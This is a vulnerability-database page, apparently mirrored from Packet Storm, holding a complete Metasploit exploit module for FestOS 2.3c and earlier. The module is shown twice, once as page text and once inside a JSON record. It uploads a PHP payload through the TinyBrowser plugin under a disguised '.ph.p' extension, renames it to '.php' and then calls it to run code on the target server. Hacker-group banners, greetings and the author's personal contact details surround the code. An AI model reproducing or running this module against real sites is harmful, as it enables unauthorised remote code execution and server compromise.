Search...

FestOS <= 2.3c TinyBrowser File Upload Code Execution

2011-05-31T00:00:00

ID PACKETSTORM:101833
Type packetstorm
Reporter KedAns-Dz
Modified 2011-05-31T00:00:00

Description

                                        
                                            `1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_&lt;_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ &gt;&gt; Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : 1337day.com 0  
1 [+] Support e-mail : submit[at]1337day.com 1  
0 0  
1 ######################################### 1  
0 I'm KedAns-Dz member from Inj3ct0r Team 1  
1 ######################################### 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
###  
# Title : FestOS &lt;= 2.3c TinyBrowser File Upload Code Execution (meta)  
# Author : KedAns-Dz  
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Web Site : www.1337day.com * www.exploit-id.com  
# Twitter page : twitter.com/kedans  
# platform : php  
# Impact : File Upload Code Execution (via MetaSploit3)  
# Tested on : [Windows XP sp3 FR] & [Linux.(Ubuntu 10.10) En]  
##  
# xXx &lt; Greetings to 'indoushka' at the Jail ... and to his mother 'Rebbi Ya3tik eSber' &gt; xXx  
##  
# $Id: festos_tinybrowser.rb | 2011-05-31 01:10 | KedAns-Dz $   
##  
  
require 'msf/core'  
  
class Metasploit3 &lt; Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' =&gt; 'FestOS &lt;= 2.3c TinyBrowser File Upload Code Execution',  
'Description' =&gt; %q{  
This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.  
By renaming the uploaded file this vulnerability can be used to upload/execute  
code on the affected system.  
},  
'Author' =&gt; [ 'KedAns-Dz &lt;ked-h[at]1337day.com&gt;' ],  
'License' =&gt; MSF_LICENSE,  
'Version' =&gt; '1.0',  
'References' =&gt;  
[  
  
['URL', 'http://1337day.com/exploits/16057'],  
],  
'Privileged' =&gt; false,  
'Payload' =&gt;  
{  
'DisableNops' =&gt; true,  
'Compat' =&gt;  
{  
'ConnectionType' =&gt; 'find',  
},  
'Space' =&gt; 1024,  
},  
'Platform' =&gt; 'php',  
'Arch' =&gt; ARCH_PHP,  
'Targets' =&gt; [[ 'Automatic', { }]],  
'DisclosureDate' =&gt; '08/05/2011',  
'DefaultTarget' =&gt; 0))  
  
register_options(  
[  
OptString.new('URI', [true, "FestOS directory path", "/"]),  
], self.class)  
end  
  
def check  
uri = ''  
uri &lt;&lt; datastore['URI']  
uri &lt;&lt; '/' if uri[-1,1] != '/'  
uri &lt;&lt; 'admin/includes/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder='  
res = send_request_raw(  
{  
'uri' =&gt; uri  
}, 25)  
  
if (res and res.body =~ /flexupload.swf/)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
  
def retrieve_obfuscation()  
  
end  
  
  
def exploit  
  
cmd_php = '&lt;?php ' + payload.encoded + '?&gt;'  
  
# Generate some random strings  
cmdscript = rand_text_alpha_lower(20)  
boundary = rand_text_alphanumeric(6)  
  
# Static files  
directory = '/images/demo/'  
uri_base = ''  
uri_base &lt;&lt; datastore['URI']  
uri_base &lt;&lt; '/' if uri_base[-1,1] != '/'  
uri_base &lt;&lt; 'admin/includes/tiny_mce/plugins/tinybrowser'  
  
# Get obfuscation code (needed to upload files)  
obfuscation_code = nil  
  
res = send_request_raw({  
'uri' =&gt; uri_base + '/upload.php?type=file&folder='  
}, 25)  
  
if (res)  
  
if(res.body =~ /"obfus", "((\w)+)"\)/)  
obfuscation_code = $1  
print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")  
else  
print_error("Error retrieving obfuscation code!")  
return  
end  
end  
  
  
  
# Upload shellcode (file ending .ph.p)  
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"  
data &lt;&lt; "#{cmdscript}.ph.p\r\n--#{boundary}"  
data &lt;&lt; "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"  
data &lt;&lt; "Content-Type: application/octet-stream\r\n\r\n"  
data &lt;&lt; cmd_php  
data &lt;&lt; "\r\n--#{boundary}--"  
  
res = send_request_raw({  
'uri' =&gt; uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",  
'method' =&gt; 'POST',  
'data' =&gt; data,  
'headers' =&gt;  
{  
'Content-Length' =&gt; data.length,  
'Content-Type' =&gt; 'multipart/form-data; boundary=' + boundary,  
}  
}, 25)  
  
if (res and res.body =~ /File Upload Success/)  
print_status("Successfully uploaded #{cmdscript}.ph.p")  
else  
print_error("Error uploading #{cmdscript}.ph.p")  
end  
  
  
# Complete the upload process (rename file)  
print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")  
res = send_request_raw({  
'uri' =&gt; uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'  
})  
  
  
# Rename the file from .ph.p to .php  
res = send_request_cgi(  
{  
'method' =&gt; 'POST',  
'uri' =&gt; uri_base + '/edit.php?type=file&folder=',  
'vars_post' =&gt;  
{  
'actionfile[0]' =&gt; "#{cmdscript}.ph.p",  
'renameext[0]' =&gt; 'p',  
'renamefile[0]' =&gt; "#{cmdscript}.ph",  
'sortby' =&gt; 'name',  
'sorttype' =&gt; 'asc',  
'showpage' =&gt; '0',  
'action' =&gt; 'rename',  
'commit' =&gt; '',  
}  
}, 10)  
  
if (res and res.body =~ /successfully renamed./)  
print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")  
else  
print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")  
end  
  
  
# Finally call the payload  
print_status("Calling payload: #{cmdscript}.php")  
uri = ''  
uri &lt;&lt; datastore['URI']  
uri &lt;&lt; '/' if uri[-1,1] != '/'  
uri &lt;&lt; directory + cmdscript + ".php"  
res = send_request_raw({  
'uri' =&gt; uri  
}, 25)  
  
end  
  
end  
  
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] &lt; Algerians HaCkerS &gt; Islampard + Z4k1-X-EnG + Dr.Ride  
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)   
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu  
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke  
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)  
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)  
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...  
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-  
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever   
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm  
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz  
#================================================================================================`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:101833", "type": "packetstorm", "bulletinFamily": "exploit", "title": "FestOS <= 2.3c TinyBrowser File Upload Code Execution", "description": "", "published": "2011-05-31T00:00:00", "modified": "2011-05-31T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/101833/FestOS-2.3c-TinyBrowser-File-Upload-Code-Execution.html", "reporter": "KedAns-Dz", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:23:54", "viewCount": 8, "enchantments": {"score": {"value": -0.3, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/101833/festos_tiny.rb.txt", "sourceData": "`1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 \n0 _ __ __ __ 1 \n1 /' \\ __ /'__`\\ /\\ \\__ /'__`\\ 0 \n0 /\\_, \\ ___ /\\_\\/\\_\\ \\ \\ ___\\ \\ ,_\\/\\ \\/\\ \\ _ ___ 1 \n1 \\/_/\\ \\ /' _ `\\ \\/\\ \\/_/_\\_<_ /'___\\ \\ \\/\\ \\ \\ \\ \\/\\`'__\\ 0 \n0 \\ \\ \\/\\ \\/\\ \\ \\ \\ \\/\\ \\ \\ \\/\\ \\__/\\ \\ \\_\\ \\ \\_\\ \\ \\ \\/ 1 \n1 \\ \\_\\ \\_\\ \\_\\_\\ \\ \\ \\____/\\ \\____\\\\ \\__\\\\ \\____/\\ \\_\\ 0 \n0 \\/_/\\/_/\\/_/\\ \\_\\ \\/___/ \\/____/ \\/__/ \\/___/ \\/_/ 1 \n1 \\ \\____/ >> Exploit database separated by exploit 0 \n0 \\/___/ type (local, remote, DoS, etc.) 1 \n1 1 \n0 [+] Site : 1337day.com 0 \n1 [+] Support e-mail : submit[at]1337day.com 1 \n0 0 \n1 ######################################### 1 \n0 I'm KedAns-Dz member from Inj3ct0r Team 1 \n1 ######################################### 0 \n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 \n \n### \n# Title : FestOS <= 2.3c TinyBrowser File Upload Code Execution (meta) \n# Author : KedAns-Dz \n# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com \n# Home : HMD/AM (30008/04300) - Algeria -(00213555248701) \n# Web Site : www.1337day.com * www.exploit-id.com \n# Twitter page : twitter.com/kedans \n# platform : php \n# Impact : File Upload Code Execution (via MetaSploit3) \n# Tested on : [Windows XP sp3 FR] & [Linux.(Ubuntu 10.10) En] \n## \n# xXx < Greetings to 'indoushka' at the Jail ... and to his mother 'Rebbi Ya3tik eSber' > xXx \n## \n# $Id: festos_tinybrowser.rb | 2011-05-31 01:10 | KedAns-Dz $ \n## \n \nrequire 'msf/core' \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'FestOS <= 2.3c TinyBrowser File Upload Code Execution', \n'Description' => %q{ \nThis module exploits a vulnerability in the TinyMCE/tinybrowser plugin. \nBy renaming the uploaded file this vulnerability can be used to upload/execute \ncode on the affected system. \n}, \n'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>' ], \n'License' => MSF_LICENSE, \n'Version' => '1.0', \n'References' => \n[ \n \n['URL', 'http://1337day.com/exploits/16057'], \n], \n'Privileged' => false, \n'Payload' => \n{ \n'DisableNops' => true, \n'Compat' => \n{ \n'ConnectionType' => 'find', \n}, \n'Space' => 1024, \n}, \n'Platform' => 'php', \n'Arch' => ARCH_PHP, \n'Targets' => [[ 'Automatic', { }]], \n'DisclosureDate' => '08/05/2011', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOptString.new('URI', [true, \"FestOS directory path\", \"/\"]), \n], self.class) \nend \n \ndef check \nuri = '' \nuri << datastore['URI'] \nuri << '/' if uri[-1,1] != '/' \nuri << 'admin/includes/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=' \nres = send_request_raw( \n{ \n'uri' => uri \n}, 25) \n \nif (res and res.body =~ /flexupload.swf/) \nreturn Exploit::CheckCode::Vulnerable \nend \n \nreturn Exploit::CheckCode::Safe \nend \n \n \ndef retrieve_obfuscation() \n \nend \n \n \ndef exploit \n \ncmd_php = '<?php ' + payload.encoded + '?>' \n \n# Generate some random strings \ncmdscript = rand_text_alpha_lower(20) \nboundary = rand_text_alphanumeric(6) \n \n# Static files \ndirectory = '/images/demo/' \nuri_base = '' \nuri_base << datastore['URI'] \nuri_base << '/' if uri_base[-1,1] != '/' \nuri_base << 'admin/includes/tiny_mce/plugins/tinybrowser' \n \n# Get obfuscation code (needed to upload files) \nobfuscation_code = nil \n \nres = send_request_raw({ \n'uri' => uri_base + '/upload.php?type=file&folder=' \n}, 25) \n \nif (res) \n \nif(res.body =~ /\"obfus\", \"((\\w)+)\"\\)/) \nobfuscation_code = $1 \nprint_status(\"Successfully retrieved obfuscation code: #{obfuscation_code}\") \nelse \nprint_error(\"Error retrieving obfuscation code!\") \nreturn \nend \nend \n \n \n \n# Upload shellcode (file ending .ph.p) \ndata = \"--#{boundary}\\r\\nContent-Disposition: form-data; name=\\\"Filename\\\"\\r\\n\\r\\n\" \ndata << \"#{cmdscript}.ph.p\\r\\n--#{boundary}\" \ndata << \"\\r\\nContent-Disposition: form-data; name=\\\"Filedata\\\"; filename=\\\"#{cmdscript}.ph.p\\\"\\r\\n\" \ndata << \"Content-Type: application/octet-stream\\r\\n\\r\\n\" \ndata << cmd_php \ndata << \"\\r\\n--#{boundary}--\" \n \nres = send_request_raw({ \n'uri' => uri_base + \"/upload_file.php?folder=\" + directory + \"&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=\", \n'method' => 'POST', \n'data' => data, \n'headers' => \n{ \n'Content-Length' => data.length, \n'Content-Type' => 'multipart/form-data; boundary=' + boundary, \n} \n}, 25) \n \nif (res and res.body =~ /File Upload Success/) \nprint_status(\"Successfully uploaded #{cmdscript}.ph.p\") \nelse \nprint_error(\"Error uploading #{cmdscript}.ph.p\") \nend \n \n \n# Complete the upload process (rename file) \nprint_status(\"Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p\") \nres = send_request_raw({ \n'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1' \n}) \n \n \n# Rename the file from .ph.p to .php \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => uri_base + '/edit.php?type=file&folder=', \n'vars_post' => \n{ \n'actionfile[0]' => \"#{cmdscript}.ph.p\", \n'renameext[0]' => 'p', \n'renamefile[0]' => \"#{cmdscript}.ph\", \n'sortby' => 'name', \n'sorttype' => 'asc', \n'showpage' => '0', \n'action' => 'rename', \n'commit' => '', \n} \n}, 10) \n \nif (res and res.body =~ /successfully renamed./) \nprint_status (\"Renamed #{cmdscript}.ph.p to #{cmdscript}.php\") \nelse \nprint_error(\"Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php\") \nend \n \n \n# Finally call the payload \nprint_status(\"Calling payload: #{cmdscript}.php\") \nuri = '' \nuri << datastore['URI'] \nuri << '/' if uri[-1,1] != '/' \nuri << directory + cmdscript + \".php\" \nres = send_request_raw({ \n'uri' => uri \n}, 25) \n \nend \n \nend \n \n#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================================== \n# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride \n# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) \n# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu \n# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke \n# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org) \n# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org) \n# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ... \n# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- \n# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever \n# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm \n# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz \n#================================================================================================`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647892647}}

FestOS &lt;= 2.3c TinyBrowser File Upload Code Execution

Description

FestOS <= 2.3c TinyBrowser File Upload Code Execution